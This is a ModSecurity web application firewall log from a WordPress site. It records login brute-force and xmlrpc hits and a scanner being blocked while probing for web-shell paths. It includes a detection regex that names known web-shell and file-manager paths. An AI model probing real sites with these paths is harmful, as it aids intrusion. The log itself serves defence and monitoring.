[Thu Dec 11 00:23:37.100162 2025] [:error] [pid 10434:tid 10473] [client 91.92.242.228:60329] [client 91.92.242.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTmeiWbAnZFInxx5bO-dXAAAAEY"]
[Thu Dec 11 01:07:29.038036 2025] [:error] [pid 27893:tid 27915] [client 82.208.23.112:54873] [client 82.208.23.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.208.23.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTmo0VAm_ScxuQGtQnRrEAAAAJQ"], referer: binance.com
[Thu Dec 11 01:07:31.504595 2025] [:error] [pid 27893:tid 27912] [client 82.208.23.112:56221] [client 82.208.23.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.208.23.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTmo01Am_ScxuQGtQnRrFAAAAJE"], referer: binance.com
[Thu Dec 11 01:07:41.521787 2025] [:error] [pid 10433:tid 10440] [client 82.208.23.112:59769] [client 82.208.23.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.208.23.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTmo3WfQ1q-Ic7huYoX6YgAAAMM"]
[Thu Dec 11 01:07:44.075622 2025] [:error] [pid 10435:tid 10494] [client 82.208.23.112:60731] [client 82.208.23.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.208.23.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTmo4I5HZq66Rpdj2aJ7cwAAAAA"]
[Thu Dec 11 01:07:46.597588 2025] [:error] [pid 10520:tid 10522] [client 82.208.23.112:61675] [client 82.208.23.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.208.23.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTmo4kNrVZZksrD9M7EYYQAAAQA"]
[Thu Dec 11 01:07:49.129032 2025] [:error] [pid 10434:tid 10479] [client 82.208.23.112:62550] [client 82.208.23.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.208.23.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTmo5WbAnZFInxx5bO-pVwAAAEw"]
[Thu Dec 11 01:07:51.624403 2025] [:error] [pid 27893:tid 27916] [client 82.208.23.112:63499] [client 82.208.23.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.208.23.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTmo51Am_ScxuQGtQnRrGQAAAJU"]
[Thu Dec 11 02:10:38.185477 2025] [:error] [pid 27893:tid 27916] [client 103.148.212.23:35808] [client 103.148.212.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.148.212.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTm3nlAm_ScxuQGtQnR3_AAAAJU"]
[Thu Dec 11 02:10:40.466255 2025] [:error] [pid 27893:tid 27903] [client 103.148.212.23:35808] [client 103.148.212.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.148.212.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTm3oFAm_ScxuQGtQnR3_QAAAIg"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 11 02:29:03.628311 2025] [:error] [pid 10435:tid 10506] [client 45.207.243.56:53552] [client 45.207.243.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.207.243.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTm7745HZq66Rpdj2aKOywAAAAw"]
[Thu Dec 11 02:29:06.433418 2025] [:error] [pid 10435:tid 10516] [client 45.207.243.56:53552] [client 45.207.243.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.207.243.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTm78o5HZq66Rpdj2aKO0AAAABY"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 11 02:44:24.611981 2025] [:error] [pid 27893:tid 27898] [client 107.190.140.138:40270] [client 107.190.140.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.190.140.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTm_iFAm_ScxuQGtQnR9qgAAAIM"]
[Thu Dec 11 03:55:05.973443 2025] [:error] [pid 41205:tid 41238] [client 157.90.214.251:52212] [client 157.90.214.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.214.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTnQGVezGYcsM3x1mMdCjgAAAEI"]
[Thu Dec 11 04:32:52.826392 2025] [:error] [pid 58099:tid 58121] [client 160.153.180.59:34666] [client 160.153.180.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.153.180.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTnY9MKZVSF_bdPFqRgiVAAAANQ"]
[Thu Dec 11 05:46:09.579106 2025] [:error] [pid 35112:tid 35121] [client 36.41.75.167:54157] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTnqIZ9ZpQ0WIeJhsJdwtQAAAUc"]
[Thu Dec 11 05:53:36.441491 2025] [:error] [pid 58099:tid 58114] [client 216.24.219.209:57311] [client 216.24.219.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTnr4MKZVSF_bdPFqRg6rgAAAM0"]
[Thu Dec 11 05:53:48.749669 2025] [:error] [pid 57991:tid 58032] [client 148.66.159.112:46254] [client 148.66.159.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.159.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTnr7KPyGmNXA2ZsETbo-wAAAEo"]
[Thu Dec 11 05:58:02.158635 2025] [:error] [pid 48261:tid 48272] [client 117.2.155.13:43468] [client 117.2.155.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.2.155.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTns6uyPI4WU-4JmiQODmwAAAYg"]
[Thu Dec 11 06:06:16.224081 2025] [:error] [pid 27459:tid 27477] [client 40.85.143.207:5852] [client 40.85.143.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aTnu2FhPEXihPBKMpRN31AAAARA"]
[Thu Dec 11 06:06:23.832154 2025] [:error] [pid 35112:tid 35127] [client 40.85.143.207:5434] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dejavu.php"] [unique_id "aTnu359ZpQ0WIeJhsJd3rgAAAU0"]
[Thu Dec 11 06:06:24.356700 2025] [:error] [pid 57990:tid 58010] [client 40.85.143.207:1399] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dejavu.php"] [unique_id "aTnu4AqZT_dc36fQdXG9xgAAAA8"]
[Thu Dec 11 06:06:25.090933 2025] [:error] [pid 27459:tid 27465] [client 40.85.143.207:11299] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aTnu4VhPEXihPBKMpRN32gAAAQQ"]
[Thu Dec 11 06:06:25.645956 2025] [:error] [pid 57990:tid 58017] [client 40.85.143.207:4851] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pepe.php"] [unique_id "aTnu4QqZT_dc36fQdXG9ygAAABY"]
[Thu Dec 11 06:06:26.269786 2025] [:error] [pid 35112:tid 35117] [client 40.85.143.207:10665] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aTnu4p9ZpQ0WIeJhsJd3rwAAAUM"]
[Thu Dec 11 06:06:27.419027 2025] [:error] [pid 57990:tid 58016] [client 40.85.143.207:10647] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aTnu4wqZT_dc36fQdXG9zQAAABU"]
[Thu Dec 11 06:06:27.927613 2025] [:error] [pid 35112:tid 35131] [client 40.85.143.207:1158] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aTnu459ZpQ0WIeJhsJd3sQAAAVE"]
[Thu Dec 11 06:06:28.429998 2025] [:error] [pid 35112:tid 35135] [client 40.85.143.207:1874] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/z.php"] [unique_id "aTnu5J9ZpQ0WIeJhsJd3sgAAAVU"]
[Thu Dec 11 06:06:28.928116 2025] [:error] [pid 57991:tid 58033] [client 40.85.143.207:5230] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aTnu5KPyGmNXA2ZsETbrhgAAAEs"]
[Thu Dec 11 06:06:29.491454 2025] [:error] [pid 57991:tid 58035] [client 40.85.143.207:10666] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aTnu5aPyGmNXA2ZsETbriAAAAE0"]
[Thu Dec 11 06:06:30.076532 2025] [:error] [pid 57990:tid 58002] [client 40.85.143.207:10641] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aTnu5gqZT_dc36fQdXG90QAAAAc"]
[Thu Dec 11 06:06:30.588975 2025] [:error] [pid 57991:tid 58040] [client 40.85.143.207:6935] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aTnu5qPyGmNXA2ZsETbriwAAAFI"]
[Thu Dec 11 06:06:31.107197 2025] [:error] [pid 57991:tid 58025] [client 40.85.143.207:5190] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTnu56PyGmNXA2ZsETbrjgAAAEM"]
[Thu Dec 11 06:06:31.798614 2025] [:error] [pid 57992:tid 58064] [client 40.85.143.207:6055] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTnu5-Ueau0BMFF2vHnqbQAAAI8"]
[Thu Dec 11 06:06:32.306163 2025] [:error] [pid 57992:tid 58054] [client 40.85.143.207:7513] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTnu6OUeau0BMFF2vHnqbgAAAIU"]
[Thu Dec 11 06:06:32.806649 2025] [:error] [pid 57991:tid 58045] [client 40.85.143.207:14677] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTnu6KPyGmNXA2ZsETbrkQAAAFc"]
[Thu Dec 11 06:06:33.321262 2025] [:error] [pid 48261:tid 48282] [client 40.85.143.207:6071] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTnu6eyPI4WU-4JmiQOGlQAAAZI"]
[Thu Dec 11 06:06:33.913503 2025] [:error] [pid 27459:tid 27464] [client 40.85.143.207:1847] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTnu6VhPEXihPBKMpRN34QAAAQM"]
[Thu Dec 11 06:06:34.413112 2025] [:error] [pid 48261:tid 48265] [client 40.85.143.207:14699] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTnu6uyPI4WU-4JmiQOGmAAAAYE"]
[Thu Dec 11 06:06:34.922960 2025] [:error] [pid 35112:tid 35136] [client 40.85.143.207:4428] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTnu6p9ZpQ0WIeJhsJd3twAAAVY"]
[Thu Dec 11 06:06:35.470659 2025] [:error] [pid 48261:tid 48288] [client 40.85.143.207:16297] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTnu6-yPI4WU-4JmiQOGnAAAAZg"]
[Thu Dec 11 06:06:35.991203 2025] [:error] [pid 58099:tid 58120] [client 40.85.143.207:8837] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aTnu68KZVSF_bdPFqRg9yQAAANM"]
[Thu Dec 11 06:06:36.779025 2025] [:error] [pid 35112:tid 35120] [client 40.85.143.207:1828] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aTnu7J9ZpQ0WIeJhsJd3ugAAAUY"]
[Thu Dec 11 06:06:37.505432 2025] [:error] [pid 57990:tid 58008] [client 40.85.143.207:4119] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aTnu7QqZT_dc36fQdXG93AAAAA0"]
[Thu Dec 11 06:06:38.082060 2025] [:error] [pid 57990:tid 58019] [client 40.85.143.207:4465] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "aTnu7gqZT_dc36fQdXG93QAAABg"]
[Thu Dec 11 06:06:38.605367 2025] [:error] [pid 58099:tid 58107] [client 40.85.143.207:8009] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aTnu7sKZVSF_bdPFqRg9zwAAAMY"]
[Thu Dec 11 06:06:39.170802 2025] [:error] [pid 58099:tid 58124] [client 40.85.143.207:11404] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aTnu78KZVSF_bdPFqRg90gAAANc"]
[Thu Dec 11 06:06:40.130708 2025] [:error] [pid 58099:tid 58109] [client 40.85.143.207:8047] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aTnu8MKZVSF_bdPFqRg91wAAAMg"]
[Thu Dec 11 06:06:40.661333 2025] [:error] [pid 57991:tid 58023] [client 40.85.143.207:8862] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aTnu8KPyGmNXA2ZsETbrmAAAAEE"]
[Thu Dec 11 06:06:41.273444 2025] [:error] [pid 57992:tid 58062] [client 40.85.143.207:7540] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aTnu8eUeau0BMFF2vHnqewAAAI0"]
[Thu Dec 11 06:06:42.174494 2025] [:error] [pid 57992:tid 58055] [client 40.85.143.207:7347] [client 40.85.143.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aTnu8uUeau0BMFF2vHnqfwAAAIY"]
[Thu Dec 11 06:06:42.673177 2025] [:error] [pid 57992:tid 58065] [client 40.85.143.207:13569] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTnu8uUeau0BMFF2vHnqgwAAAJA"]
[Thu Dec 11 06:06:43.269317 2025] [:error] [pid 57992:tid 58068] [client 40.85.143.207:6388] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTnu8-Ueau0BMFF2vHnqhgAAAJM"]
[Thu Dec 11 06:06:43.802028 2025] [:error] [pid 57992:tid 58055] [client 40.85.143.207:15617] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aTnu8-Ueau0BMFF2vHnqiwAAAIY"]
[Thu Dec 11 06:06:44.301093 2025] [:error] [pid 48261:tid 48270] [client 40.85.143.207:7327] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aTnu9OyPI4WU-4JmiQOGpgAAAYY"]
